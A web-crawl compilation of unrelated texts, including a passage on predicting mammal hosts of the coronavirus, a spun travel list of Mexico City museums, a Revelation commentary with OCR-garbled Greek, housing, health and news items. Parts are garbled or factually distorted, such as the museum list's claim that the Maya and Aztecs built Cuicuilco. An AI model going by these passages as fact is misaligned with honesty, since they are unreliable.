In the course of the research, the research team has successfully predicted the later “successful” cases such as mink, white-tailed deer, cat, dog, and gorilla, and its prediction accuracy for mammals reached about 72%.
The researchers knew that the ACE2 receptor of a species is closely related to its evolutionary history, so they integrated their evolution-related data, and analyzed other ACE2 receptors through a system trained in artificial intelligence machine learning among species with known ACE2 receptor sequences.
The evolution data of species with unknown body sequence finally resulted in the cross-species infection and transmission capacity of more than 5,000 mammals, of which 540 are considered to be likely to become a pool of new coronaviruses, including nearly 200 million in the world.
Buffaloes, cats, dogs, a series of species of monkeys, bats, rodents, etc. that are being traded live.
The researcher specifically mentioned that many “high-risk” rodents, such as many rodents, are the prey targets of cats that are also “high-risk”, which may aggravate the spread of the new coronavirus among these animals. . And “high-risk” animals raised by humans may also escape to the wild and pose a risk of transmission.
The starting point for prevention
Faced with such a large number of “high-risk” species, especially those animals that live close to humans, to prevent them from becoming a pool of new coronaviruses and forming the risk of returning to humans in the future, the most important thing is to prevent humans from spreading new coronaviruses to them.
Industries that have frequent contact with animals (such as veterinarians, zoo management, livestock handlers, etc.) implement strict vaccination and personal protective equipment measures.
Secondly, long-term careful field monitoring and model studies similar to the Kari Institute are needed to find potential virus pools and prevent problems before they occur.
Just like the lessons of SARS in 2003, it is very likely that the new coronavirus from bats is another lesson in how much a virus can threaten humans when it spreads across species.
The identification, monitoring and research of high-risk species can not only help us prevent this pandemic from continuing in another way, it is more likely to prevent the next pandemic from occurring.
The various studies and reports mentioned above are one of the starting points for the academia to stand in the present and look to the future.
COVID-19 may be transmitted back to humans from wild white-tailed deer
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Mexico City has today turned into a social center and it’s an awesome place to begin your trip through the country. From shows to historical centers to delightful parks, and a luscious culinary scene, there are a lot of activities to indulge in Mexico City. Discussing historical centers, did you know it has the most exhibition halls on the planet? It is a country rich in cultural heritage. Have a look at the amazing museums in Mexico.
9 Interesting Museums In Mexico
Here is a list of some of the must see museums in Mexico City to know more about the culture, history, and archaeology of the country.
This is an archeological site, which is home to the half-covered remains of an old civilization and situated close to the focal point of Mexico City. Worked by the Maya and Aztecs around 500 BCE, volcanic action in the zone led to the surrender of the city around 150 CE. Today the site stays covered under a few meters of magma. The complex is best known for its pyramid, which is believed to be one of the most seasoned on the planet. Initially the structure was a piece of an amazing sanctuary, however because of the thick magma layer, it’s currently one of the main parts of Cuicuilco over the ground. A little, free gallery covers the historical backdrop of how this site was unearthed.
Location: Espacio Ecológico Cuicuilco, 14060 Mexico City
2. Museo de El Carmen
This striking exhibition hall was made in 1615 and begun life as a Carmelite cloister until the point when it was shut in 1858 as a feature of the Reformation. Over a century later, it was transformed into an exhibition hall in 1929. The Museo del Carmen’s mosaiced vaults and curves shape a striking complexity against the building’s Gothic and Baroque highlights. The Casa Habitación San Angel is a perfectly brightened visitor house, strategically placed not a long way from the Museo de El Carmen.
Location: Calle Plaza del Carmen 4, San Ángel, 01000 México City
3. El Castillo de Chapultepec
El Castillo de Chapultepec, the Chapultepec Castle, is situated at the highest point of Chapultepec Hill. The name Chapultepec is a Nahuatl word meaning the grasshopper’s slope. Inside its twelve corridors, this museum graphs the nation’s assorted history, from the pre-hispanic period through to Spanish expansionism, Mexico’s insurgency, and its freedom.
Location: Bosque de Chapultepec I Secc, 11100 Mexico City, CDMX, Mexico
4. The Museo Soumaya
Outlined by the Mexican designer Fernando Romero, this is a private historical center in Mexico City. It has two areas with more than 66,000 works from 30 centuries of workmanship including figures from pre-hispanic Mesoamerica, nineteenth and twentieth century Mexican craftsmanship, and a broad gathering of works by European old experts and present day western craftsmanship. It is viewed as a standout amongst the most museums of its kind.
Location: Blvd. Miguel de Cervantes Saavedra 303, Granada, Miguel Hidalgo, 11529 México City
Suggested Read: 17 Best Things To Do In Mexico For A Memorable Holiday
5. La Casa Azul and Museo Casa de León Trotsky
Seize the chance to stroll at these interesting places. While La Casa Azul, once home to Mexican painter Frida Kahlo, is more settled on the visitor trail, Museo Casa de Leon Trotsky is maybe less known. At the season of his homicide, the expelled Russian progressive Leon Trotsky was living only a couple of lanes from Kahlo’s Blue House. Guests can see the bed where Kahlo dealt with her last painting and the work area where Trotsky was killed.
Location: Av. Río Churubusco 410, Del Carmen, 04100 México City
Planning your holiday but confused about where to go? These travel stories help you find your best trip ever!
Real travel stories. Real stays. Handy tips to help you make the right choice.
6. The Palacio de Bellas Artes
It is one of the most important cultural centers in Mexico City. It has hosted notable events in music, dance, theater, opera, and literature and has held important exhibitions of painting, sculpture, and photography. Occupied by the National Institute of Fine Arts, in the year 1947, the museum has been the center of events like opera, dance, music, art, and literature.
Location: Av. Juárez, Centro Histórico, 06050 México City
7. The Museum Rufino
This is a contemporary craftsmanship historical center situated in Mexico City’s Chapultepec park. This gallery houses crafts by Oaxacan craftsman Rufino Tamayo, and continually introduces unique displays of the most delegate parts of the global contemporary workmanship from both Mexican and international artists, such as Georgia O’Keefe.
Location: Paseo de la Reforma 51, Bosque de Chapultepec, Bosque de Chapultepec I Secc, 11580 México City
8. Mexican Sugar Art Museum
Set yourself up for the day with an exceptionally applauded breakfast before heading here for a visual devour. Created from sugar and enlivened with splendid, merry hues, Mexico’s sweet skulls are such an essential piece of neighborhood custom that they justify their own historical center. The Mexican Sugar Art Museum has more than 100 bits of meticulously created sugar craftsmanship, including elaborate tableaux portraying occasions from the 1970s, 90s, fables, popular culture figures, and obviously skulls.
Location: Avenida Cuauhtémoc 950, Narvarte Poniente, 03020 México City
9. Anahuacalli Museum
The Museo Diego Rivera Anahuacalli or Anahuacalli Museum is a gallery situated in Coyoacán, in the south of Mexico City. This exhibition hall was made by muralist, Diego Rivera, who gathered about 50,000 pre-Hispanic pieces through his life. It is one of the most interesting Mexican museums to visit during your trip.
Location: Museo 150, San Pablo Tepetlapa, 04620 Ciudad de México, CDMX, México
Further Read: 10 Charming Mexico Wedding Venues For Your Dream Wedding
Enticed yet? Book your trip with TravelTriangle and have an amazing time exploring these interesting museums in Mexico! Even if you’re not someone who enjoys a trip to museums, you’ll still love the architecture and the story behind them.
Looking To Book A Holiday Package?
Book memorable holidays on TravelTriangle with 650+ verified travel agents for 65+ domestic and international destinations. | <urn:uuid:91d1a62a-59d0-4f54-9e4e-cd494342b082> | CC-MAIN-2022-33 | https://traveltriangle.com/blog/museums-in-mexico/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.92408 | 1,478 | 2.671875 | 3 |
Newly industrialized countries are members of a socioeconomic classification given to locations that have recently experienced an economic shift towards stability and industry. These countries typically sit at a juncture between Third and First World governments. They have shifted towards a stable government and industrialized economy, but haven’t made permanent changes. Such countries have a higher standard of living and per capita income than other developing nations, but still lower than that of First World countries. Due to this discrepancy, other nations often outsource certain industries or manufacturing jobs to these locations.
The term "newly industrialized countries" originally applied to four emerging Asian countries: Hong Kong, Taiwan, South Korea, and Singapore. These four countries developed significantly faster than many other nearby nations, and in order to describe the distinction made by these governments, economists found they needed to develop a new term. This term was used to describe nations that were pulling ahead of their contemporaries in terms of economic and industrial development, but were still behind other industrialized nations.
There are many factors that need to come together to determine if a nation is a newly industrialized country. One of the most obvious is its level and pacing of industrialization. Countries achieving this status have outpaced their counterparts, but have also achieved a stable level of industrialization. This stability means that the country isn’t tearing itself apart financially, socially, or environmentally in order to achieve its industrialization.
Outside of their industrial achievements, such countries have certain political and social characteristics as well. They typically have stronger governments with less corruption then a Third World country. Non-violent transitions of power and elected officials are common. In addition, social rights for common people are more prevalent.
With this level of social and political stability, coupled with an increasingly industrial workforce, the lives of common people is better than in most Third World countries. The per capita income is higher, which causes a corresponding increase in standard of living. The social and political reforms common in newly industrialized countries create a greater sense of national pride and culture. Countries in this status often have a resurgence of non-religious cultural interest, something that many Third World countries lack.
All of these improvements often come with a price. Fully industrialized and First World countries often use newly industrialized countries as a cheap labor force. While increasing jobs in the host country and making cheaper goods in the guest country may seem positive at first, the benefits aren't always lasting. In these new countries, the infrastructure and laws are often behind. Environmental protection, labor, and commerce laws are sometimes unable to handle the massive influx of new work, and the countries often suffer for it. | <urn:uuid:aba06836-d158-4ecb-941b-414201d935ca> | CC-MAIN-2022-33 | https://www.smartcapitalmind.com/what-are-newly-industrialized-countries.htm | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570741.21/warc/CC-MAIN-20220808001418-20220808031418-00065.warc.gz | en | 0.965168 | 525 | 3.4375 | 3 |
It’s hard to picture the Yorkshire Dales without walls. Yes, there are a some wilder spots such as the grouse moors with fewer walls, where there’s no need to prevent stock from wandering where they’re not wanted. I was pondering over this while driving round the Three Peaks area during the week. Penyghent (pictured above), Ingleborough and Whernside all have prominent walls going over the top of them. I think in all three cases these walls are as much to do with indicating parish boundaries as keeping sheep in the right place. Whatever, you’ve got to admire the skill and tenacity of those wall builders of the Dales whose work has lasted many a wild winter. Just a thought … should we invite Mr Trumped-up for a state visit to the Dales to teach him about wall building?
The breeze was strong and the clouds shifted quickly overhead. While Ingleborough and Whernside wore thin white caps, Penyghent was briefly bathed in sunshine. At one time it thought the three were playing a party game, switching hats to the music of the wind. From Kingsdale I watched the scene changing rapidly before I chickened out of a trip along the high narrow road over to Dent as the weather worsened. The Dales can be beautiful and frightening at the same time.
When I get older losing my hair… etc
Yes I’m that age today so just a brief blog as I prepare for hordes of visitors heading to my Dales cottage bearing gifts and alcohol. I can’t believe I’d still be singing the Beatles’ When I’m 64, when I’m actually 64. The song was released when I was 14. Where have the last 50 years gone? | <urn:uuid:7f15c833-ff9e-45c7-ad92-2a834ca74205> | CC-MAIN-2022-33 | http://www.jacksoneditorial.co.uk/build-walls-dales-mr-trump/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.960635 | 370 | 1.65625 | 2 |
Letter: Hear message of love from Middle East
Daoud Nassar’s family has been working their hilltop land for 100 years — fruit trees, vegetables, a vineyard and olive trees. His grandfather officially registered their 100-acre farm during the 1918-1948 British Mandate, and the family continues to hold registration documents, which the Israeli courts have acknowledged as authentic.
Nevertheless, Daoud's neighbors — represented by a local council of Israeli settlements — have been trying to take his land for many years. They’ve blocked the main road to the farm and shot holes in his water tanks. Fifteen years ago, the council attempted to build a road through his property.
Early on the morning of May 19, 2014, in spite of the Israeli court’s instruction not to demolish his orchard, Israeli troops used bulldozers to destroy 1,500 fruit trees. I had just returned from visiting Israel/Palestine to better educate myself on the issues, and had planted trees on the farm. Despite these extremely challenging circumstances, Nassar and his family continue to live and work out of the conviction, “We refuse to be enemies. We refuse to hate.” Nassar says, “We follow Jesus’ way. To overcome evil with good. Fear with love. Darkness with light.”
The family has turned their farm into a peace and education center named Tent of Nations (www.tentofnations.org). Visitors from all over the world, including some of his settlement neighbors, join together to plant and harvest trees, teach at the Women’s Education Center, lead activities in Youth Summer Camps, and share the goal of pursuing a just peace between Israelis and Palestinians through non-violent activities.
Daoud will share his family’s story this Thursday, Nov. 10 in two locations — the Lory Student Center, rooms 308-310, from 9:30-10:45 a.m., and an evening event at Our Saviour’s Lutheran Church at 7 p.m. In this contentious political year, Nassar, a Palestinian Christian, offers a message of love, resilience and non-violence for all of us.
Donna Greene, Fort Collins | <urn:uuid:7fda05e3-4a1e-4f6d-a02e-5b1581379132> | CC-MAIN-2022-33 | https://www.coloradoan.com/story/opinion/2016/11/07/letter-hear-message-love-middle-east/93457178/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.966726 | 460 | 2.203125 | 2 |
Les Shaver has an interesting piece on GlobeSt.com, The Coronavirus Will Accelerate the Shift to Smaller Warehouses. Lee has some excellent insights from Adam Roth of NAI Hiffman, on why Adam sees a potential move from the 1M SF warehouses to smaller warehouses.
Adam Roth, an executive vice president with Oakbrook, Ill.-based NAI Hiffman, thinks that soon may be changing.
“What I’ve found is by far the driver of real estate and site selection is transportation,” says Roth, who has a background in logistics and real estate. Roth believes transportation is 12 to 15 times the cost of real estate.
Roth goes into why the cost of transportation could be a large driver of the move to smaller warehouses.
New transportation rules for shippers were introduced at the end of 2019 and the beginning of 2020. Those included stricter electronic logging and drug and alcohol laws for truck drivers and new clean fuel mandates for ocean vessels.
With these changes, it is possible to see how growing logistic and e-commerce companies could benefit from having multiple locations to serve the country instead of a few very large facilities. Adam goes on to explain:
He completed a study that says companies could serve 90% of the US population with next-day service through 10 well-located facilities with a maximum 300-mile distance. Already, major firms like Amazon and Walmart are buying smaller sites, according to Roth.
“It [300 miles] is kind of far, but you could, you could argue it almost provides a next day service,” Roth says. “Then take it a step further, and you can hit within 150 miles of 90% of the U.S. population with 33 locations.”
These types of economic drivers could be a change into how warehouses are viewed by growing businesses looking to serve the country as efficiently as possible. | <urn:uuid:34aa5b95-c4df-4dd4-9c48-690ac8cbb264> | CC-MAIN-2022-33 | https://webuyrealestateinc.com/investing/will-coronavirus-lead-to-increased-demand-for-smaller-warehouses/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570741.21/warc/CC-MAIN-20220808001418-20220808031418-00065.warc.gz | en | 0.963981 | 394 | 1.742188 | 2 |
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$ 352. 'For thy judgments are made manisest.'—The word Sizalofuata, translated judgments in this place, is rendered, Rom. ii. 26, by righteousness, although, being in the plural, it should be rendered by righteousnesses ; the righteousnesses of the law, in this chapter of Romans, being contrasted with what is said of the righteousness of God without the law in the next chapter. The same term precisely is rendered by the word righteousnesses, in speaking of that which constitutes the fine linen of the saints, Rev. xix. 8. The term in the singular is rendered also by righteousness, Rom. v. 18, and viïi. 4. Rom. v. 16, it is translated justification ; Rom. i. 32, it is rendered by judgment; Luke i. 6, by commandment ; and Heb. ix. 1 and 10, by ordinances. There is a similar diversity in the Latin versions of Leusden and Beza, the same Greek noun being variously rendered by jus, justitia, and justificatio. In the present case, therefore, we are to select such rendering as appears most in conformity with the whole
passage. The beast system was a system of self-justification, or of self-righteous
This system having been overthrown, it is natural to suppose this song of the victors to apply to the opposite system of justification by God's righteousness: accordingly, the better rendering here apparently would be, “ For thy justifications (thy righteousnesses) are made manifest.” The plural Szalayara is used by Heliodorus, (according to Donnegan,) to express means of defence, pleadings, justificatory documents. Something like this, we suppose to be the idea in contemplation. The elements contending with the beast have overcome in the legal contest, and they owe their victory to the prevalence of the means of defence found in the justifying power of God's righteousness imputed to the disciple. This power
is now manifest by the result of the contest : God is praised, not merely because he is just in punishing the delinquent, but because his power of justification is made apparent in the salvation of the sinner.
Here are three reasons given for fearing God and glorifying his name: first, because he is the only Being intrinsically holy ; second, because all things, (nations,) principles, &c., are to be manifestly subordinate to him ; and thirdly, because his means of justification are proven to predominate over every opposing element.
9, 10, the decree is published, apparently, that all these nations shall drink of the wine of the wrath of God, and be tormented for ever; and yet we find in this passage, (Rev. xv. 4,) “ that all nations (norta tà forn) shall come and worship before God." This appears to presuppose a change in these elements, termed the nations ; as if we were to say, No sooner is the element of self, or the principle of self-service, removed from the human heart, (by the victory over the beast,) than the same services or works, proceeding from a different motive, will become acts of worship towards God, and strictly elements of his service. Principles thus changed, however, may be the nations of the new earth, spoken of Rev. xxi. 24.
Vs. 5, 6. And after that I looked, and Και μετά ταύτα είδον, και ήνοιχη ο ναός behold, the temple of the tabernacle of της σκηνής του μαρτυρίου εν τω ουρανό, the testimony in heaven was opened: and και εξήλθον οι επτά άγγελοι οι έχοντες τας having the seven plagues, clothed in pure επτά πληγάς εκ του ναού, ενδεδεμένοι λίνον and white linen, and having their breasts καθαρόν λαμπρόν και περιεζωσμένοι περί girded with golden girdles.
τα στήθη ζώνας χρυσάς. . $ 353. “And after that,' &c.—The action of the chorus has closed. The ode of Moses and the ode of the Lamb, sung by those having obtained the victory over the beast, seems intended to show us the nature of this victory as a triumph of doctrinal truth over error ; at the same time indicating the subject of the narrative in the subsequent part of the narration to be something already determined upon in heaven ;-the singing of these odes being equivalent to the narrations of the Old and New Testaments; as it was a custom of ancient times to hand down historical traditions from age to age by songs or odes.
There is now an additional object presented in the scenery ; or, at least, the object appears now first to attract the attention of the apostle. The first verse of the chapter seems to have been an anticipation of what is said in this and the subsequent verses. The apostle began with speaking of a great sign that he saw in heaven, --seven angels having, &c. His narrative was here interrupted by the song of the chorus, and he now goes back to describe the manner in which these seven angels made their appearance, and the source whence the seven plagues was derived.
. And lo, the temple of the tabernacle of the testimony in heaven was opened.'*_This is no doubt the temple of God described as opened, Rev. xi. 19. The consequence of the opening of this temple then was an exhibition of the woman—the covenant of redemption—and her child; and also the appearance of the adversary of both woman and child—(the dragon or accuser.)
The consequence of the opening of the temple at this time is the ap
* The temple may be considered as forming part of the scenery throughout; but what particularly attracts the spectator's attention at this time is, that the temple is opened. It was opened on a former occasion, but it may be considered as having been shut during the reign of the beast, and the possession of its outer court by the Gentiles. It is now reopened, and the consequence of its reopening is the going forth of the elements calculated to destroy the errors prevailing in the worship of God. So Christ is the spiritual temple, and as he reveals or unveils his true character and offices, this spiritual temple is opened ; while the truths, emanating from this development, become the means of destroying the errors of self-righteoueness, self-justification, self-dependence, &c.
pearance of the seven angels with the wrath of God. The temple we suppose to be put for that arrangement of principles upon which the worshipper is enabled to come to God in an acceptable manner; the tabernacle is the shelter provided for the disciple in Christ, and the testimony must be the witness borne by the revealed word to these particulars. Christ is the minister of the true tabernacle: he is the tabernacle itself, asfording the shelter of righteousness with which the disciple is clothed upon, as with a house from heaven. He is also the temple ; in him alone the worshipper having “access as by one Spirit unto the Father,” (Eph. ii. 18.) To behold the temple opened, is therefore especially to perceive a development of the mystery of this access unto God.
. And the seven angels came out of the temple, having the seven plagues.'— As the temple represents especially the access to God provided in Christ, we may suppose the exhibition about to be made to pertain especially to the worship of God; the plagues of the angels being elements of correction, by which errors on the subject of this worship are to be removed, that the disciple may be enabled to worship (serve) his God in spirit and in truth. The angel calling for the harvest came out of the temple ; the angel having the sharp sickle also came from the temple, and the angel calling for the exercise of the sharp sickle upon the vine of the earth must have come from the temple, as he is said to come out from the altar, and the altar was in a court of the temple. These seven angels are therefore, like the last three of the preceding chapters, messengers especially from the temple, and their commissions pertain especially to the temple service.
• Clothed in pure and white linen,' &c.—Fine linen is declared to be the righteousness of the saints, and we suppose this pure and white linen to be of the same texture. These messengers from the temple appear arrayed in the imputed righteousness of Jesus—they wear his livery—they are the ministers of this righteousness, holding it forth as the only means of justification in the sight of God. This raiment of divine purity is also girt about them by the girdle of truth,—the exhibition of the righteousness of Christ, as the only garment of salvation, depending for its support upon the truth of revelation. The difference between a girdle about the breasts, and a girdle about the loins, we have already noticed, ($ 29.)
Vs. 7, 8. And one of the four beasts Και εν εκ των τεσσάρων ζώων έδωκε τοϊς gave unto the seven angels seven golden επτά αγγέλοις επτά φιάλας χρυσάς, γεμούvials full of the wrath of God, who liveih
σας του θυμού του θεού του ζώντος εις for ever and ever. And the temple was filled with smoke from the glory of God, τους αιώνας των αιώνων. Και εγεμίσθη και and from his power; and no nman was ναός καπνού εκ της δόξης του θεού και εκ able to enter into the temple, till the seven της δυνάμεως αυτού και οι δείς ήδύνατο plagues of the seven angels were ful- ειςελθείν εις τον ναόν, άχρι τελεσθώσιν αι filled.
επτά πληγαι των επτά αγγέλων. .
$ 354. • And one of the four living creatures,' &c.—The apostle now goes back to relate how the seven plagues were obtained by the angels.They were first described to be seen having the plagues; next, seen coming out of the temple having the plagues ; and lastly, seen coming out of the temple after having received from one of the four beasts the vials containing the plagues. The order of development is thus an inversion of the natural order of narrative; for in the natural order the apostle would have commenced by stating in the first place that he saw the plagues given to the angels prior to their coming out, or at the time of their coming out of the temple. This inversed order, however, may be termed the natural order of revelation, because in the revelation of a mystery the most minute particulars are the last to be given.
The numeral one, (iv,) as we have before had occasion to remark, ($ 145,) is sometimes employed in the Greek for an ordinal.* So applying it here, the rendering would be, “ And the first of the four living creatures gave," &c. This we think the correct reading, as the action corresponds with the lion-like attribute of the first living creature, (Rev. iv. 7,)—the attribute, as we have supposed, of divine justice ; the seven exhibitions of wrath now about to be made being the last illustrations of the action of divine justice upon the elements of the system of self-righteousness: for we suppose the action of the last or seventh vial to cover the subsequent revelation as far as the close of the twentieth chapter, if not as far as the eighth verse of the twenty-first chapter inclusive.
"Seven golden vials,' &c.—The word properly signifies a vessel with a broad bottom, or bowl, (Donnegan)—a drinking cup. These seven cups probably constituting seven illustrations of the cup (goblet) of indignation, spoken of Rev. xiv. 9, 10, to be participated in by the worshippers of the beast.
These cups or bowls are golden, being developments of truth—their composition, their material, is truth ;—the pouring out of these golden vessels representing the action of certain portions of revealed truth upon certain erroneous principles, elements of a system of error; the wrath, fury, or vehemence (Ivuós) in contemplation, being a fury against principles opposed in effect to the salvation of man, and not against men themselves.
Such at least we suppose to be the apocalyptic meaning of this wrath.
$ 355. And the temple was filled with smoke,' &c.—Smoke is of course an indication of fire. Fire we take to be uniformly the figure of the revealed word of God, as the instrument of testing and trying the character of all doctrines and principles—truth, like pure gold, being alone
Ας Gen. i. 5, και εγένετο εσπέρα και εγένετο πρωί ημέρα μία, (Sept.,) And the morning and the evening became the first day.
capable of abiding such a test. The idea to be associated with this smoke seems to be that of the operation of something like a great process by fire, the result of which is to be the detection and destruction of error, and the development of truth.
· From sout of, fx] the glory of God, and from sout of] his power,' or strength.-The glory and power of God are the two elements by which the instrument of trial is put into operation : two final causes, from which the revealed word draws, as by inference, the truth of salvation by grace; these two final causes evolving this truth, through the instrumentality of the revealed word ;-showing that, without a salvation of this kind, God cannot be glorified, nor his redeeming power manifested ;—the glory of God requiring the salvation of the sinner to be a matter of sovereign grace, as distinguished from a matter of human works or merits ; and the manifestation of God's strength, as a Saviour, requiring an exhibition of the same truth.
“And no man [no one) was able to enter the temple,' &c.—The development of these two elements may be said to be in operation in that arrangement of principles which enables the worshipper to come to God, giving him access in Christ to the throne of grace. At the same time we may consider the deductions from these two elements as constituting the ingredients of the cup of wrath ; that is, constituting the means by which the erroneous principles, the objects of this wrath, are to be destroyed. This operation is gradual; the eradication of errors and the development of truths, are gradually effected. During the process, the disciple sees through a glass darkly; he is unable to discern his true position in the temple. The smoke of Sinai occupies the attention of those who are yet under the influence of the beast and false prophet, and on account of this smoke they are unable to discern the light of the blessed gospel of peace. The combustion in the temple, which causes the smoke, is the necessary process for filling the vials or golden vessels ; and it is not till this work is accomplished that the temple position can be discerned.
The whole figure is apparently taken from the operations of alchemists in ancient times, whose great object was to search for gold, and if possible, as they supposed it to be possible, by a transmutation of metals, to make it. The Greek term xanvós, (smoke,) is said (Jones's Lex.) to be compounded of the words xalo avon, signifying the breath of fire, reminding us of what is said of the destruction of the man of sin, 2 Thes. ii. 8, “whom the Lord shall consume with the spirit of his mouth ;" indicating a parity of action between these seven vials and of that power of truth described by Paul ; the destruction of the man of sin, and the victory over the beast being, as we apprehend, equivalent figures. | <urn:uuid:b0eab81e-cb74-4cf7-a2cf-26fd6f7c353a> | CC-MAIN-2022-33 | https://books.google.cl/books?id=PZUXAAAAYAAJ&pg=PA352&focus=viewport&vq=%22And+in+this+mountain+shall+the+Lord+of+hosts+make+unto+all+people+a+feast+of+fat+things,+a+feast%22&dq=editions:OXFORD590929777&lr=&output=html_text | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.9494 | 3,804 | 1.945313 | 2 |
For the third month in a row, building starts were on the rise in this country, according to new data released by CMHC.
To get legal advice, you visit a lawyer; to get medical advice, you go and see a doctor; most people, to get their car repaired, leave it in the hands of a trained professional. Even to get your hair cut, you go to someone who is trained to do that job. In all of these instances, the average consumer, without specific training and resources in a given area, defers to a qualified individual. So what is it about Real Estate that is so different? … Get benifited from Licensed Real Estate Agents & Save time, money and trouble.
These latest numbers signify the best three months in a row since last fall, which is welcome news to economists, who feel that this is a signal of good things to come for builders, and for the housing industry.
CMHC said in a release, “The seasonally adjusted annual rate of housing starts was 197,400 units in June. This is up from a revised 194,100 units in May 2011. April 2011 has also been revised to 194,100 units.”
“Housing starts increased in June due to an increase in single and multiple starts in Ontario,” said Bob Dugan, Chief Economist at CMHC’s Market Analysis Centre. “The revised numbers show that housing starts have been above their trend line since March. However, we expect housing starts to move back towards levels consistent with demographic fundamentals in the near term.”
The fact though, that there was overachieving on expectations, as well as upwards revisions on targets have not been lost on economists, who feel that this is a good sign for the economy, overall, because of the job growth and general economic stimulus that is associated with building and construction.
Looking at the country, region to region, June’s seasonally adjusted annual rate of urban starts increased by 24.1 % in Ontario, and by 5.6 % in the Atlantic region. British Columbia reported a drop of 27.6 % over the same period, while urban starts dropped by 3.6 % in Québec, and by 1.2 % in the Prairie region.
Rural starts were estimated at a seasonally adjusted annual rate of 22,800 units in June.
looking to this numbers it sounds like its good time ahead for first time home buyers because of lower interest rates around. | <urn:uuid:51f1f4d6-3a62-47ec-a05c-3f290c47470f> | CC-MAIN-2022-33 | https://gtarealtyagent.wordpress.com/2011/07/14/housing-starts-still-rising-cmhc-more-new-homes-are-getting-built/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.966621 | 517 | 1.78125 | 2 |
A sore throat unlike any other landed Chester Ballard of Marshall in the emergency room.
He swallowed hard. It was painful. He spit up blood. He couldn’t sleep. A large mass had formed in his throat.
Twelve hours later, Ballard began his fight as a cancer survivor. Treatments started soon with a slew of options to consider. The long-time smoker was managing numerous chronic health conditions, and doctors feared his heart wasn’t strong enough for surgery.
Kalika Sarma, MD, considered Ballard’s long-term quality of life. He recommended chemotherapy and radiation to protect Ballard’s throat and preserve his ability to speak and eat. The aggressive treatment required daily visits.
Ballard’s daughter Niki Sanders said, “What’s 160 miles of driving for 35 days? I mean, what’s a month of my life to save his?”
Ballard fits what doctors are seeing – a recent rise in oral cancers linked to the HPV virus.
“Today, we see younger male patients. Eighty percent of newly diagnosed patients have very large masses on their tongue and tonsils caused by HPV,” Dr. Sarma said.
Sanders offers hope to those facing a difficult diagnosis, noting her father is a miracle patient. The odds were stacked against him after years of smoking and other health complications. His positive attitude and support from family and his medical team saw him through the rough patches.
Ballard’s advice to others is don’t miss your treatments. Stick with it even when “you feel like crap just walking.”
During a particular low moment, Ballard felt like giving up. He needed a feeding tube.
“It was hell,” he said, “but it’s not permanent, and I knew it would keep me strong until I was able to eat normally again.”
His first “normal” meal? Ice cream and pie.
Oral cancers can affect a person’s ability to get proper nutrition. Symptoms can include pain, dry mouth, difficulty swallowing, food tasting bland, and extreme weight loss.
The good news is these cancers respond well to treatments. Advances also ensure patients can choose less-invasive options.
Carle Cancer Center coordinates teams of specialists to improve a patient’s quality of life when undergoing treatment. The team supports patients through the entire process, including involving dieticians for nutrition services.
According to the National Cancer Institute, head and neck cancers account for approximately 4 percent of all cancers in the United States. These cancers are more than twice as common among men as they are among women.
The rise in HPV-related oral cancers for men has providers educating parents about a vaccine that can minimize the risk.
Pediatrician Stefanie Schroeder, DO, recommends both boys and girls receive the HPV vaccine at age 11 or 12 during other routine check-ups to reduce their risk of infection.
“The vaccine is most effective prior to any sexual contact,” she said. Many insurances now cover the vaccine. Check with your insurance provider.
After seeing her dad suffer, Sanders will vaccinate her own children.
“When you have cancer, you’re in a battle for your life. Embrace it and stay strong,” Ballard said.
He rang the bell on May 31 signaling he’s cancer-free.
Categories: Redefining Healthcare | <urn:uuid:77e9a73f-266d-49de-8abd-abfdd9bc75e7> | CC-MAIN-2022-33 | https://carle.org/Newsroom/Redefining-Healthcare/2018/02/Head-and-neck-cancers-on-the-rise-for-area-men | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.966358 | 722 | 2.015625 | 2 |
MIL OSI Translation. Region: Russian Federation –
In the military units and subdivisions of the Tula Guards Airborne Formation, officers of the Airborne Forces command conducted reviews of the readiness of personnel and the training and material base for the new academic year.
During the inspections, the documentation, personal weapons, equipment and equipment of the personnel, as well as the condition of the training and material base, weapons, military and special equipment, knowledge of the main governing documents (within the framework of their competence) and the ability to use reconnaissance and navigation devices were checked.
Also, in the military units, the readiness of collective weapons, portable training and material base, communications and reconnaissance means, documentation intended for the implementation of daily activities, documents on the registration of personnel, weapons and military equipment were checked.
In addition, the combat training of the personnel of military units and subunits of the formation was checked with the issuance of marks in the statement, during which the formation was highly appreciated by the officers of the command of the Airborne Forces.
1 2 3 4 5
EDITOR’S NOTE: This article is a translation. Apologies should the grammar and / or sentence structure not be perfect. | <urn:uuid:4ffa9bcf-df78-4bfd-ae74-671930ad464a> | CC-MAIN-2022-33 | https://global.foreignaffairs.co.nz/2021/11/30/mil-osi-russia-readiness-reviews-for-the-new-academic-year-were-held-in-military-units-and-subdivisions-of-the-tula-guards-airborne-forces/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573623.4/warc/CC-MAIN-20220819035957-20220819065957-00665.warc.gz | en | 0.955855 | 248 | 2.109375 | 2 |
CSPA, in coalition with other environmental and trade organizations, filed a lawsuit against the State Water Resources Control Board and the Central Coast Regional Water Quality Control Board asserting the Boards have failed to protect clean water from agricultural pollution. The lawsuit filed in early August, claims that the boards have repeatedly failed to enforce clean water rules designed to limit pollution from excess fertilizer, pesticides and manure. This unchecked agricultural pollution is washing into streams and ultimately out to sea, and is seriously contaminating the state’s groundwater.
This dereliction of duty by the Boards jeopardizes the safety of public drinking water, as well as the health of rivers, coastal waters and fisheries.
Agricultural pollution is the primary culprit for unsafe water that burdens both urban and rural communities, sickening people and driving up water treatment costs. Additionally, this pollution threatens fishing, tourism, and recreation jobs and businesses.
